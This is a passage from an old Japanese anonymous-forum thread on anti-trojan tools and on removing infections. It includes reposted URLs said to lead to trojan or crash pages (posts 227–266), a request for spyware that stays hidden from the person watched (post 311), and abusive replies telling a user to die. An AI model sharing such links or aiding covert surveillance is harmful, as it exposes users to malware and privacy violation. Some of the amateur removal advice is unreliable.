「怪しいサイトに行かない」「怪しいソフトを使わない」「怪しいメールは開かない」
アンチトロイソフト・アンチスパイソフトを導入する前に、それらの原則から見直せ。
0168名無しさん＠お腹いっぱい。
NGNG0169名無しさん＠お腹いっぱい。
NGNGKasperskyは、ウイルス対策ソフトの中ではトロイの検出「率」が高いけど、
全てのトロイを検出するわけじゃないし、アンチトロイに比べたら・・・だ。
勿論、ウイルス対策ソフト選びなら、確実に上位候補となる製品だがな。
0170名無しさん＠お腹いっぱい。
NGNGハァ？ どんなアンチトロイより検出率は上ですが？
0171名無しさん＠お腹いっぱい。
NGNG検出力が上だと書いてあるように読み取れるんだろうか
0172名無しさん＠お腹いっぱい。
NGNG0173名無しさん＠お腹いっぱい。
NGNG読解力テスト０点
0174名無しさん＠お腹いっぱい。
NGNG0175名無しさん＠お腹いっぱい。
NGNG>>169は「アンチトロイが上」>>170は「Kasperskyが上」と主張している。
双方とも具体的根拠を提示していないので妥当性は評価できない。
にわかにKaspersky信者（を装った荒らし）が台頭してきたな。
ま、トロイ対策ソフトは通常、ウイルス対策ソフトとの併用を念頭に置いてるんで、
そんなにKasperskyが好きならKasperskyと併用するのが良かろう。
Kasperskyだけで十分だと思うならそれも良し。そんなのは使う奴の勝手だからな。
>>172
宗教板で解呪方法を聞くか、オーバークロックで乗り切れ。
0176名無しさん＠お腹いっぱい。
NGNGどうせ他人に送りつける事は目に見えてるから、誰も紹介しない。
0177名無しさん＠お腹いっぱい。
NGNGＨＤＤ1kb上書きじゃつまらんでしょ
0178名無しさん＠お腹いっぱい。
NGNG0179名無しさん＠お腹いっぱい。
NGNG[email protected]
0180名無しさん＠お腹いっぱい。
NGNGカスペがトロイに強いなんて常識じゃないの？
海外のサイトのテスト結果なんて幾らでもあるだろ。
0181名無しさん＠お腹いっぱい。
NGNGただし、ここで紹介しているアンチトロイソフトは大半は非常駐のもの（常駐型のもあるが）
非常駐のアンチトロイソフトと、Kasperskyならば同時に併用すりゃいいだけ
Kasperskyの宣伝でしたら、ご自分のスレかアンチウィルスソフト比較スレでどうぞ。
ここではスレ違いです。
0182名無しさん＠お腹いっぱい。
NGNGBackdoor Zoo - 100%
verbreitete Trojaner - 100%
Backdoors laufzeitkomprimiert - 97%
Macroviren - 100%
verbreitete Wurmer ? 100%
Dialer - 88%
Fehlalarme - 0
まあ確かにトロイ含め検出力は高いよな。
ESET辺りだとアンチトロイとの併用も考えた方が良いと思うけど。
0183名無しさん＠お腹いっぱい。
NGNG逆にここの非常駐のアンチトロイの検出力ってどんなものなのかな
0184名無しさん＠お腹いっぱい。
NGNGヤバいのが見つかったらどのみちOS入れ直す覚悟でいるから定期スキャンは
確認の意味でしかない。FWのほうがよっぽど重要だよ。
0185名無しさん＠お腹いっぱい。
NGNG最近のトロイテスト結果を出しているところを誰か知らないか？
http://www.pcflank.com/art26d.htm
http://www.rokop-security.de/main/article.php?sid=473
0186名無しさん＠お腹いっぱい。
NGNGアンチトロイよりアンチウィルスの方が上じゃん。
0187名無しさん＠お腹いっぱい。
NGNGというか、無料で非常駐だから併用シヨーヨっていう使い方だから、
アンチトロイとアンチウィルスの上下決めてもあんま意味ないんじゃないか？
アンチウィルスソフト入れない人なんてあり得ないわけだし。
0188名無しさん＠お腹いっぱい。
NGNGKaspersky以外のアンチウィルス使ってる人は、
弱い部分を補う意味でもアンチトロイ入れてもいいと思う。
0189BBk
NGNGこのソフト、感染してから検知するシステムなんですが、、これって駄目ですかねぇ…
0190名無しさん＠お腹いっぱい。
NGNG最低 レジストリの修復もちゃんと出来るのかよ？
0191名無しさん＠お腹いっぱい。
NGNGttp://www.vector.co.jp/soft/win95/util/se161033.html
これの作者さんですか？
やぁ(´･ω･`) ようこそ、２ちゃんねるへ。
このトロイはサービスだから、まずインストールして落ちついて聞いて欲しい。（以下略）
0192名無しさん＠お腹いっぱい。
NGNG公開年月を考えると、先見の明があったと言えるなｗ
早期発見という意味では、かなり大きな効果が得られると思う。
しかし、例えばSSMのような総合監視ソフトがフリーで出てるし、
最近のトロイ・スパイ対策ソフトも常駐監視の対象にしてる様だ。
本気でセキュリティ対策を考えてるユーザーには必要ないかもな。
とはいえ、セキュリティに疎いユーザーほど効果を発揮しそうなんで、
例えばスタートアップフォルダ監視機能なんかを追加して
download板あたりで売り込んだら結構普及するかもな。
0193名無しさん＠お腹いっぱい。
NGNG個人的には、ny関係のトロイに特化したりなんかすると、かなり良いと思いますよ。
ユーザーの中心は日本人でしょうし、その日本人の中でトロイに最も感染しやすいのは
やっぱりny使っている人でしょうし。
たぶん、どのアンチウィルスベンダーも、どのアンチトロイベンダーも、
ny関連のは対応が後手後手に回っている気がしますから。
0194名無しさん＠お腹いっぱい。
NGNGny、トロイに限らずなんだが、指定したよく使うダウンロード専用フォルダ（２，３こ）のみ
常駐監視してくれるソフトがあったらいいと思う。
全部監視するより軽くなるし、そこでのファイルの実行頻度は高いと思うから
0195名無しさん＠お腹いっぱい。
NGNG軽さもキボン
0196BBk
NGNG・レジストリCURRENT_USERに対応していません。
・監視するのはプログラムではなく、スタートアップルーチンです。
・スタートアップフォルダの監視に対応していません。
ダメダメですね…
http://members.tripod.com/iknat/
0197名無しさん＠お腹いっぱい。
NGNG0198名無しさん＠お腹いっぱい。
NGNGこの結果は感染してないってことで安心していいのでしょうか？
Starting scan at 10:37:31:640...
Scan Memory
Memory not infected
Scan folder: 'C:\', recursive
Unable to scan C:\System Volume Information - アクセスが拒否されました。
Scan folder: 'C:\Documents and Settings\All Users\Documents', recursive
Scan folder: 'C:\Documents and Settings\???\My Documents', recursive
Scan folder: 'C:\Documents and Settings\？\My Documents', recursive
Finished scan at 10:52:34:796
Total number of files is 57854, number of infected files is 0
Average files per second is 64, average file size is 3725964
0199名無しさん＠お腹いっぱい。
NGNGこの程度の英語も読めないなら使うのやめとけ。或いは翻訳ソフトでも使え。
0200名無しさん＠お腹いっぱい。
NGNG0201名無しさん＠お腹いっぱい。
NGNGDAEMONにイメージをマウントするとOS落ちた。
0202名無しさん＠お腹いっぱい。
NGNG0203名無しさん＠お腹いっぱい。
NGNG0205名無しさん＠お腹いっぱい。
NGNG無事に駆除できました。べつにそんなつもりじゃないだろうけど、このスレに
感謝感謝。それにしてもewidoってごっついさわやかなインターフェイスだな。
0206名無しさん＠お腹いっぱい。
NGNGこれは別にどうでもいいのですがctr＋alt＋deleteができなくなってしまって微妙に不便ですし他にパソコンに影響がないかどうか不安で仕方がありません。
過去ログを見てもそれらしき報告があっても直し方書いてないし、winny版とかいうところにも直し方書いてありませんでした。
お願いです、直し方教えてください。
0207名無しさん＠お腹いっぱい。
NGNGマルチ！
0208名無しさん＠お腹いっぱい。
NGNGMS Officeをアンインストールしてから入れ直せば直る。
0209名無しさん＠お腹いっぱい。
NGNGたとえありえなくても、どうなるかはわからない。
0210名無しさん＠お腹いっぱい。
NGNG別に常に見張ってくれなくてもいいのだが……。
0211名無しさん＠お腹いっぱい。
NGNGインストール時に常駐の有無を選択できる。インストール後は不明。
0212名無しさん＠お腹いっぱい。
NGNGされるのですが、駆除できません。
ＯＳを入れなおしたほうがいいんでしょうか？他に方法はありますでしょうか？
0213名無しさん＠お腹いっぱい。
NGNGそうか、インストール後は分かんないのか……。
どうもありがとう。アンインスコして常駐切ってみるよ。
0214名無しさん＠お腹いっぱい。
NGNG0215名無しさん＠お腹いっぱい。
NGNG0216名無しさん＠お腹いっぱい。
NGNGどうすればいいんだろ(´･ω･｀)
0217名無しさん＠お腹いっぱい。
NGNG0218名無しさん＠お腹いっぱい。
NGNG0219名無しさん＠お腹いっぱい。
NGNG0220名無しさん＠お腹いっぱい。
NGNG今試してみたらちゃんとアップデートできて、ついでに再起動も要求してきた
0221名無しさん＠お腹いっぱい。
NGNG0222名無しさん＠お腹いっぱい。
NGNGいやWindowsの再起動
0223名無しさん＠お腹いっぱい。
NGNG常駐させてる人に対するメッセージじゃないの？
0224名無しさん＠お腹いっぱい。
NGNG0225名無しさん＠お腹いっぱい。
NGNG0226名無しさん＠お腹いっぱい。
NGNGこっちも常駐なしだがWinの再起動を要求された。
アンインストールのときも再起動要求されたしちょっと面倒くさくなってしまってる。
でも新しいバージョンになってからtranslation errorだっけか、でなくなったね。
0227名無しさん＠お腹いっぱい。
NGNGhttp://cgi.f8.aaacafe.ne.jp/~moeromoe/php/img/
どのような仕組みなのか調べようと思ったのですが、玉砕。
逆に感染してしまいました。
超ｴﾛい人、調べ方教えて
0228名無しさん＠お腹いっぱい。
NGNG興味本位の馬鹿はﾈｯﾄしなくていい。
0229名無しさん＠お腹いっぱい。
NGNGまず、回線切って首吊って氏ね。迷わず逝けよ、逝けばわかるさ。
0230名無しさん＠お腹いっぱい。
NGNG0231138
NGNG有効な機能は自動アップデートだけだけど
avast! との併用も今のところ特に問題なし
リストに入っているから当たり前と言えば当たり前なんだが
0232名無しさん＠お腹いっぱい。
NGNGたまに起動時にewidoがポップアップ出そうとして落ちることがあるが
ほかは特に問題ないでつ。
0233名無しさん＠お腹いっぱい。
NGNGttp://cgi.f8.aaacafe.ne.jp/~moeromoe/php/upload.php
ここから38KBのファイルを踏めばトロイのページに飛ぶやつだな。
0234名無しさん＠お腹いっぱい。
NGNG0235名無しさん＠お腹いっぱい。
NGNG0236名無しさん＠お腹いっぱい。
NGNGこちらを踏んでしまいました。
恐らくトロイと呼ばれるものだと思うのですが
初心者の為、対処方法がわかりません。
ご教授お願いします。
0237マミー
NGNGどすこいですけど ∧＿∧ ～～～～ (゜д゜)
いいえわたしはわかりますから (´д｀) ∩－－∪＿ □⊂ ∪
だけどわかりますから (＿＿＿＿＿⊃＿＿＿⊃ ∪∪
だけどわたしはむりですよわたし
のことは ∧∧
わかるのでいいです (＾＾)∩はい、わかります
∪
∪∪
0238名無しさん＠お腹いっぱい。
NGNG>恐らくトロイ
へぇ、よく分かったね。
何が起こったのか書かないところをみると本当は踏んでいないんじゃないのかな？
0239名無しさん＠お腹いっぱい。
NGNGTROJ_ISTBAR.W
TROJ_REVOP.F
TROJ_DELF.AR
の３つが感染していました。トロイですよね？
初心者なのでどうやって治せばいいかわかりません。
どのアンチウィルスがいいのか教えてください。お願いします。
0240名無しさん＠お腹いっぱい。
NGNGお前がオンラインウィルス検索したのはどのソフトの会社だ？
その会社のスレッドで聞けよ。どうせトレンドマイクロだろ？
このスレの話題と関係ないじゃん。
0241名無しさん＠お腹いっぱい。
NGNG別にトレンドマイクロのアンチウィルスを使いたいんじゃないんです。
ただそこの検索を使っただけなので。
ウィルスを除去できれば、どこの会社でもいいんです。
0242名無しさん＠お腹いっぱい。
NGNGここで紹介しているのは、アンチトロイウェアソフト。
ウィルスは駆除できない。トロイに対して特化しているからさ。
アンチウィルスソフト入れてないなら、そっちを探す方が先。
他のスレッド見て来い。無料のアンチウィルスソフトもいっぱいある。
0243名無しさん＠お腹いっぱい。
NGNGありがとうございます。行って来ます。
0244名無しさん＠お腹いっぱい。
NGNGトロイですか？
スパイウェアですか？
0245名無しさん＠お腹いっぱい。
NGNG0246名無しさん＠お腹いっぱい。
NGNGリカバリーかけたのですが、その後もハードディスクに不良セクターがあり
修復できるのですが物理的に不具合があるみたいです
トロイORウィルスで物理的にハードディスクを破壊することって可能なのでしょうか？
ＰＣに詳しいからいましたら教えてくださいませ
よろしく。
0247名無しさん＠お腹いっぱい。
NGNGなんにしても不良セクタが発生したならとっとと交換しる
0248246
NGNGそうですかレスありがトン
0250名無しさん＠お腹いっぱい。
NGNG0251名無しさん＠お腹いっぱい。
NGNG双方とも msnmsg.exeを検出できなかった。SOPHOSでは8/19に対応が
終わっていたのにバスターは何の情報もなし。
結構きつい動きしていましたよ。まず起動時に、あるサイトに繋がって
トロイが入っているCABをダウンロードしてくる。
レジストリから情報を削除しても、タスクリストに載って活動していれば
レジストリ情報は復活する（まるでゾンビ）。
自分はウイルスとして検出されないから、トロイを消してもウイルス警告
がでる。初心者はほったらかしにして、変なパケットを流しまくり。
それを２４日に２台も駆除したんですよ。同業者で駆除できずにOS再インストール
というかバスターで引っかからないから駆除できないという理由だそうだが。
そんな同業者もどうかと思うが結局バスターが対応できていない事から
始まったW32/RBOT-GOお騒ぎ。お客さんにバスターを勧めることが出来なくなってしまって
本当に大弱りです。大体まじめにやっているのか、対応し切れているのか
が明らかになった私としては「大事件」です。６０００円とって対応しきれない
のであれば、金返せというところだ。
0252名無しさん＠お腹いっぱい。
NGNGトレンドのサイトをチェックしたら、米・仏では7/29に対応してるね
日本ではデータベースにないから未対応みたい
パターンファイルは世界共通と思いこんでいたが各国のウィルス
発生状況に応じて異なると言うことかねぇ
0253名無しさん＠お腹いっぱい。
NGNG0254名無しさん＠お腹いっぱい。
NGNGtrendmicroが7/29に対応したのは恐らく別の亜種。W32/RBOT-GOには対応してない。
あと、trendmicro日本語サイトがウイルス情報を網羅してないだけで、
trendmicro各国間でパターンファイルは共通と思われ。
0255名無しさん＠お腹いっぱい。
NGNG当方mcafeeﾌﾟﾚｲﾝｽﾄ（2004年版） ウイルススキャン パーソナルファイアーウォールです
ウイルススキャンして一個削除したんですがこれで大丈夫なんでしょうか？
0256名無しさん＠お腹いっぱい。
NGNGスレに目を通すぐらいしろYO!!
0257名無しさん＠お腹いっぱい。
NGNGどこに逝ったらいいか教えて
0258名無しさん＠お腹いっぱい。
NGNGがんばれマカフィーPART10
http://pc5.2ch.net/test/read.cgi/sec/1090040195/
ただし、お前の質問は、答え返ってこないと思うけど。
何が聞きたいのかさっぱりわからない。
0259名無しさん＠お腹いっぱい。
NGNG逝ってきます
0260あぼーん
NGNG0261ウィルスに怯える名無し
NGNGオンラインチェックしてみたところ
ｃ：WINDOWS\...\YBNC7T8P\sahra1725[1].jpg ウイルス名 HTML/Suar
どうにかフリーウェアで対処したいところなんですが、
どこも英語だったり、説明が長かったりめんどくさいです。
はっきり言って自分の怠慢であるわけなんですが
どなたか親切な方どうしたら一番良いか教えて下さい…orz
0262名無しさん＠お腹いっぱい。
NGNGめんどうならばココを攻めろ
http://www.raus.de/crashme
0263名無しさん＠お腹いっぱい。
NGNG0264ウィルスに怯える名無し
NGNGウイルスチェックしたあとに駆除ができたのかなフリーで
だとしたら怠慢しすぎだな俺、ちょっといってきますﾉｼ
0265名無しさん＠お腹いっぱい。
NGNGマジなら別のサイト逝け
騙りなら警察に逝け
0266名無しさん＠お腹いっぱい。
NGNG｛【4:129】＠大山加奈のエロ画像ぎぼ～んんんんんんん＠｝の
━━━
117 ：名無しさん＠お腹いっぱい。 ：04/08/28 05:02 ID:9/P+AUzi
拾い物ですが赤外線カメラもの・・・
http://raus.de/crashme
http://www.strangeworld.info/upload/upload.php
http://asongfor.s13.xrea.com/x/up/files/ayutan0661.jpg
http://picopico.dip.jp/ragnarok/data/1073724070984_log.jpg
http://wonderful.at/2ch
━━━
全部で五つあるうちの三つ目に逝ったらトロイの木馬と言うものが襲ってきて
McAfeeがVirusScanして感染したのを削除しました
初心者なんでこれ以上わかりません
これで元の元気なパソコンになりますか？教えていただきたい
0267名無しさん＠お腹いっぱい。
NGNGベタベタ貼り付けるな！
0268名無しさん＠お腹いっぱい。
NGNGいるのですが、除去できません。
どうしたらいいでしょうか。
0269名無しさん＠お腹いっぱい。
NGNGhttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20030926221125958
ねぇ、なんでそのウィルスを検出したソフトのスレッドで聞かないの？
0270名無しさん＠お腹いっぱい。
NGNGhttp://www.symantec.com/region/jp/sarcj/data/d/downloader.trojan.html#removalinstructions
0271いなむらきよし
NGNG0272名無しさん＠お腹いっぱい。
NGNG0273名無しさん＠お腹いっぱい。
NGNGバカは氏ね。
0274名無しさん＠お腹いっぱい。
NGNGRegporotとTeatimerは見ていないようだし、SSMはちょっと大げさだし。
軽いやつあったら教えて下さい。
0276275
NGNG0277274
NGNGありがとう！紹介してくれたものの下にあった
StartupMonitorを試したらフォルダも監視してくれました。
http://www.mlin.net/StartupMonitor.shtml
Regprotと同じぐらい軽いです。どのエントリを見ているか
まだ不明ですが、TeaTimerの替わりに使ってみます。感謝！
0278274
NGNGこれ、msiインストーラ使ってるんですがインストール
したあとにできるスタートメニューにあるショートカットは
なぜかStartupMonitorを終了させるリンクです。
実行ファイルは C:\WINDOWSにあるStartupMonitor.exeです(XPのばあい)。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
に登録されてWindows起動時に常駐します。ダウンロードページに
説明がありますが、アンインストールはプログラムの追加と削除からできるようです。
0279名無しさん＠お腹いっぱい。
NGNG0280名無しさん＠お腹いっぱい。
NGNGったく迷惑な…。
0281名無しさん＠お腹いっぱい。
NGNGワームじゃなくて？
0282名無しさん＠お腹いっぱい。
NGNGどうもたまに挙動がおかしいかんじ・・・疑心暗鬼？
ウイルスソフトじゃ駄目ってのなら、具体的にどうすればスッキリした気分になれるでしょうか？
0283名無しさん＠お腹いっぱい。
NGNGダメに決まってるやん w
0284名無しさん＠お腹いっぱい。
NGNG0285名無しさん＠お腹いっぱい。
NGNGOS再インストール。
でもインストール中にウィルスにやられたりして。
0286名無しさん＠お腹いっぱい。
NGNGがオンラインスキャンで出てきました orz
手動で削除するにはどうすれば良いですか？
ちなみにこのトロイはパスワードを送信するらしい もうだめぽ orz
0287名無しさん＠お腹いっぱい。
NGNGインストール中にはやられない
やられるのはネットに繋いでから
0288名無しさん＠お腹いっぱい。
NGNG0289名無しさん＠お腹いっぱい。
NGNG誤検出の可能性は？
OpenJaneのログにノートンが過剰反応する話は結構有名だけど、それと同じだったりして
0290名無しさん＠お腹いっぱい。
NGNGウィルスバスターのオンラインチェックで
Ｃ￥ＷＩＮＮＴ\downroadedPROGRAMFILES￥ｔｌ７０００.DLLというファイルに
「TROJ_SOBIT.A」と言うトロイが感染していると出てきました、
しかし検索をかけても該当のファイルが出てきません
再度ウィルスチェックをかけると、ファイルはまだあることになっているのですが
どうしてでかわかる人いますか？
レジストリのいらない情報は下記により削除しています。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_SOBIT.A
0291名無しさん＠お腹いっぱい。
NGNGセーフモードでやってみてごらん
0292名無しさん＠お腹いっぱい。
NGNG検索にはオプション設定があるし、エクスプローラーにもフォルダオプションがある
あんたの設定がまずいから表示されない
0293名無しさん＠お腹いっぱい。
NGNGアメリカからやられてた これまでも中国、韓国、フランスと来ている
0294名無しさん＠お腹いっぱい。
NGNG嫌だったら、ファイアーウォールくらい入れろよ
0295ぼるじょあ ◆yBEncckFOU
NGNGActiveXコントロールの"中"に該当ファイルがあると思うよ
"Downloaded Program Files"フォルダを開いて、核ファイルの
プロパティ→依存関係をチェックする
該当ファイルが含まれているファイルを削除する
0296名無しさん＠お腹いっぱい。
NGNGわりぃ わりぃ
C:\WINDOWS\Downloaded Program Files
この中かよ
エクスプローラーでは全部見えないから
コマンドプロンプトで
cd C:\WINDOWS\Downloaded Program Files
dir これでフォルダの中が表示される
del 問題のファイルをフルパスで入力 /f
0297名無しさん＠お腹いっぱい。
NGNGcd "C:\WINDOWS\Downloaded Program Files"
dir これでフォルダの中が表示される
del 問題のファイルを拡張子まで入力 /f
0298290
NGNGプロパティで会社名が不明とか怪しいファイルをまとめて削除したら
消えました。
エクスプローラーでは見えないのですね
0299ぼるじょあ ◆yBEncckFOU
NGNGすでに解決ずみのようだけど、烏賊蛇足
ウィルスバスターオンラインスキャンで感染ファイル
が見つかった場合、パスが途切れて見えないことがある
上のつまみ(項目の境目)を右にスライドさせると
横スクロールバーが現れて、フルパスを確認できる
そうするとどのファイルが感染しているかがわかるので
対処が容易になる
(今回のケースでいうと感染ファイルはActiveXの実体)
またUSサイトのオンラインスキャンのほうが自動駆除
オプションが使えるので、対処が楽になるケースもあるので
おすすめ
ttp://housecall.trendmicro.com/
0300名無しさん＠お腹いっぱい。
NGNGC:WINDOWS\SYSTEM\winnet.dll
C:WINDOWS\SYSTEM\run_dos.dll
C:WINDOWS\SYSTEM\rnr.dll
なのですが全て手動で削除してもかまわないものですか？
一応質問します。お願いします。
0301名無しさん＠お腹いっぱい。
NGNG何も知らないんですね
0303名無しさん＠お腹いっぱい。
NGNGおまいら
http://pc5.2ch.net/test/read.cgi/sec/1060956936/の638を読んでください
ewidoもGDI＋のバグの可能性ある
0304名無しさん＠お腹いっぱい。
NGNG0305名無しさん＠お腹いっぱい。
NGNGSP2のセキュリティーホールだべ
0306名無しさん＠お腹いっぱい。
NGNGなんでewidoに入ってるのか、解説ｷﾎﾞﾝ。
0307名無しさん＠お腹いっぱい。
NGNGewidoが自分自身の描画用に使ってるんだろ。
0308名無しさん＠お腹いっぱい。
NGNG0309名無しさん＠お腹いっぱい。
NGNG0310名無しさん＠お腹いっぱい。
NGNG0311名無しさん＠お腹いっぱい。
NGNGどんなスパイウェアがいいでつかね？
VNCはタスクトレイに表示が出ちゃうから
すぐﾊﾞﾚちゃうし・・・
0312名無しさん＠お腹いっぱい。
NGNG0313名無しさん＠お腹いっぱい。
NGNG漏れ入れてるからがんがってほしい
0314
NGNG↓
http://headlines.yahoo.co.jp/hl?a=20040925-00000013-zdn_ep-sci
今すぐノートンウイルスソフトを購入されることを強くおすすめします！！
Norton Internet Security 2004 Professionl
http://pt.afl.rakuten.co.jp/c/0049f2c6.43316645/?url=http%3a%2f%2fwww.rakuten.co.jp%2fjib%2f810923%2f810924%2f825843%2f%23641840
シマンテック ウイルス対策ソフト インターネットセキュリティ2004 Norton InternetSecurity
http://pt.afl.rakuten.co.jp/c/0047d0ca.5ad9afa3/?url=http%3a%2f%2fwww.rakuten.co.jp%2fjba%2f473599%2f475511%2f475523%2f%23523551
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
デスクトップ画像をあぷろだにUpするトロイの木馬が出現
シマンテックは9月24日、P2Pソフト「Winny」を介して広まっているトロイの木馬
「Trojan.Upchan」に対する警告を発した（25日11時30分追記、一部改変：
シマンテックの情報では「Winny経由」となっていたが、実際にはWinnyとは関係なく、
本体は名前を変えながら複数のアップローダから配布されている模様だ。このファイルを実行してしまうと
PCに本体がコピーされ、デスクトップのスクリーンショットが8分おきに、一種の画像掲示板である
アップローダに公開されてしまう。
つまり、もしそのタイミングでメーラーを開いていれば自分のメールアドレスやメールの内容が、
Webブラウザを起動していれば閲覧しているWebページが、インスタントメッセンジャーを利用していれば
会話の内容が記録され、アップロードされてしまうことになる。既9月24日23時の時点では、このトロイの木馬に対応した定義ファイルを提供しているのはシマンテックのみの模様だ。同社製品を
利用している場合は早期のアップデートが望ましい。また、それ以外の製品を利用している場合は、リスクが伴うが
トロイの木馬本体（shellsystem.exe）の削除およびレジストリの削除によって復旧させることになる。
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
0315名無しさん＠お腹いっぱい。
NGNGこれって「卓上」って書いた奴のこと？
0316名無しさん＠お腹いっぱい。
NGNG場所はC:\Documents and Settings\ユーザー名\Local Settings\Temporary Internet Files\Content.IE5でした。
駆除ができなかったのでファイルごと削除したのですが、対応はこれだけで十分なのでしょうか？
ご意見よろしくお願いいたします。
0317名無しさん＠お腹いっぱい。
NGNGたぶん、ホームページを見て感染する種類のトロイだと思うよ
不安ならここのスレのものを入れてみるなり、SpybotやAd-awareなり
入れてみるなりしてみればいいと思うよ
0318316
NGNGご意見ありがとうございました。
McAfeeVirusScan、a2、Spybotでスキャンしたところ、特に検出されませんでした。
とりあえず一安心といったところです。
ところで「常駐」ということは感染したら即時に検出、に近いイメージが自分にはあります。
そこで「Exploit-URLSpoof.gen」が検出されたタイミングが非常に気になってます。
タブブラウザソフトについてた検索バーのグーグルであるキーワードを検索しようとしました。
その検索結果が表示された瞬間にMcAfeeVirusScanが「Exploit-URLSpoof.gen」を検出したんです。
念のため1回目の削除後にもう1回同じキーワードで検索したらまた反応しました。
その時は削除後のMcAfeeVirusScanでもう1つ「Exploit-URLSpoof.gen」を検出しました。
これってその検索結果表示のページに仕組まれてる可能性があるってことになるんでしょうか？
0319あぼーん
NGNG0320名無しさん＠お腹いっぱい。
NGNG0321みー
NGNGあわてて電源きって再起動してインターネットしようとしたら、
最初のページが外国語のサイトになってしまいました。
本当わけわからなくて困ってます。
どうしたらいいでしょうか？
0322名無しさん＠お腹いっぱい。
NGNG"スパイウェア"で検索してわからなければパソコン修理に出せ。
0323名無しさん＠お腹いっぱい。
NGNGエロサイト見たら…助けて下さい！Part41
http://pc6.2ch.net/test/read.cgi/pcqa/1095834281/
ここのテンプレを、順番に全てやってみろ
0324みー
NGNG試してみますが、私まだ高校生でコンピュータの知識があまりないんです。
だからもう少し詳しく教えてもらえませんか？
今からできる限りの事を試してみます。
0325名無しさん＠お腹いっぱい。
NGNGだから、そっちのスレにあるテンプレを全部試してみろって言ってるんだよ。
詳しく教えろだなんだって、お前まだ読んでもいないだろうが。
知識のあるなしと、テンプレ読む読まないは別だっての。勘違いするな。
0326名無しさん＠お腹いっぱい。
NGNG苺キンタマって知ってるか？おまいのような初心者が必ずやられる
恐ろしいウィルスだぞ。知識がないならパソコンの電源切れ。それだけで済む。
0327みー
NGNG再起動したらデスクトップに女の人のリンク画像みたいなものがでてきていました。。
今ウイルスのスキャン？みたいなものをしています。
0328名無しさん＠お腹いっぱい。
NGNG0329名無しさん＠お腹いっぱい。
NGNG初めてでうれしかったよぅ
0330みー
NGNGテンプレの方で、ウインドウズの「Me」はシステムの復元という方法もあると書いてあったので、
それを実行しました。
自動的に再起動して、デスクトップは普通に戻り、
インターネットの最初のページも普通に戻りました。
さっきは初めてのウイルスにびっくりしてしまい自己中な事書いてしまって本当すみません。
他のスレ紹介してくれた方もありがとうございました。
今後は気をつけます。
まだ直ってなかったらもう一度きます。
0331名無しさん＠お腹いっぱい。
NGNGシステムの復元やっただけじゃ、ウィルスなりスパイウェアは中に入ったまま
（レジストリだけ元の状態に戻した、ってだけ）
テンプレは面倒くさがらずに全部やれ、質問は向こうのスレでやれ
こっちで聞くのはスレ違い
0332名無しさん＠お腹いっぱい。
NGNGトレンドマイクロのウィルスデータベースで調べて対処方やってみたんですが
何度もそのファイルを削除してるんですがまたすぐ復活してしまいます。
どうやれば完璧に消し去ることができるんでしょうか？（つд`）
インターネットやってる途中に勝手に国名聞いてくるやつが開いて
困ってます(；・∀・)対処方知ってたら教えてください(´；ω；｀)
0333名無しさん＠お腹いっぱい。
NGNGおーえすはなに はてな
0334名無しさん＠お腹いっぱい。
NGNGちゃらけた顔文字使って余裕たっぷりだな。
もっとせっぱ詰まってから来てまじめに書けよ。
0335名無しさん＠お腹いっぱい。
NGNG0336名無しさん＠お腹いっぱい。
NGNG0337名無しさん＠お腹いっぱい。
NGNGシステムの復元を無効にしてる？
あとレジストリの修復は？
0338名無しさん＠お腹いっぱい。
NGNG↑Symantecでは「trojan.chost」と呼ばれているようですが、Trendmicroでの呼び方を教えた下さい。
0339名無しさん＠お腹いっぱい。
NGNGttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_HOSTER.A
別名
0340名無しさん＠お腹いっぱい。
NGNGサンクスです。早速手動で削除してみます。
0341名無しさん＠お腹いっぱい。
NGNGシステム復元無効にしてますが戻ってきます・・・
レジストリの修復もだめっぽいです。
0342名無しさん＠お腹いっぱい。
NGNGここは質問スレじゃねぇ。
質問したい馬鹿も回答したい馬鹿も、どっか他所いってしろ。
0343名無しさん＠お腹いっぱい。
NGNGトロイの木馬対策のソフトをＰＣにインストールしたいのですが、
どの「アンチトロイソフト」をインストールすればいいのかが分かりません。
どなたかアドバイス頂けないでしょうか？
よろしくお願いします。
0344名無しさん＠お腹いっぱい。
NGNGお断りします。
0345名無しさん＠お腹いっぱい。
NGNG今のところ、対策としてはこれが無料で最強（無料）
■トロイ検出・駆除 ewido-Free
ttp://www.ewido.net/en/?section=download
0346名無しさん＠お腹いっぱい。
NGNGこれ今日入れたんだけど常駐するの？
アイコンがタスクバーにあるんだけど…
これって常駐してるって事じゃないの？
フリーは常駐しないんだよね
なんかよく分からない(´･ω･`)
0347名無しさん＠お腹いっぱい。
NGNG300くらいなら数分
わかんないところあったら教える
0348名無しさん＠お腹いっぱい。
NGNG1秒/スレ
0349345
NGNG二週間したら常駐しなくなるんだ
苺キンタマ対応って聞いたから入れてスキャンしたら
違うトロイが見つかった(´･ω･`)ﾊｩ…
0350名無しさん＠お腹いっぱい。
NGNG0351名無しさん＠お腹いっぱい。
NGNG0352かわうそ
NGNG0353名無しさん＠お腹いっぱい。
NGNG0354名無しさん＠お腹いっぱい。
NGNG0355名無しさん＠お腹いっぱい。
NGNGログを見ていれば気がつくだろ
0356名無しさん＠お腹いっぱい。
NGNG0357名無しさん＠お腹いっぱい。
NGNGクッキーごとに確認求められて、めんどい
0358名無しさん＠お腹いっぱい。
NGNG0359名無しさん＠お腹いっぱい。
NGNG0360名無しさん＠お腹いっぱい。
NGNG0361名無しさん＠お腹いっぱい。
NGNG0362名無しさん＠お腹いっぱい。
NGNG0363名無しさん＠お腹いっぱい。
NGNG苺ｷﾝﾀﾏで、Ewidoが注目されたから厨房が流れて来てるんだろうよ
0364名無しさん＠お腹いっぱい。
NGNG0365名無しさん＠お腹いっぱい。
NGNG0366名無しさん＠お腹いっぱい。
NGNG常駐していません。
アンチトロイソフトが常駐していると、常駐時にはどのような作動が行われているのでしょうか？
あと、ewidoと併用した方がよいアンチトロイソフトがありましたら教えてください。
0367名無しさん＠お腹いっぱい。
NGNGa2
0368名無しさん＠お腹いっぱい。
NGNG0369名無しさん＠お腹いっぱい。
NGNGAdditionalのinstall guardで常駐するんじゃね？
0370名無しさん＠お腹いっぱい。
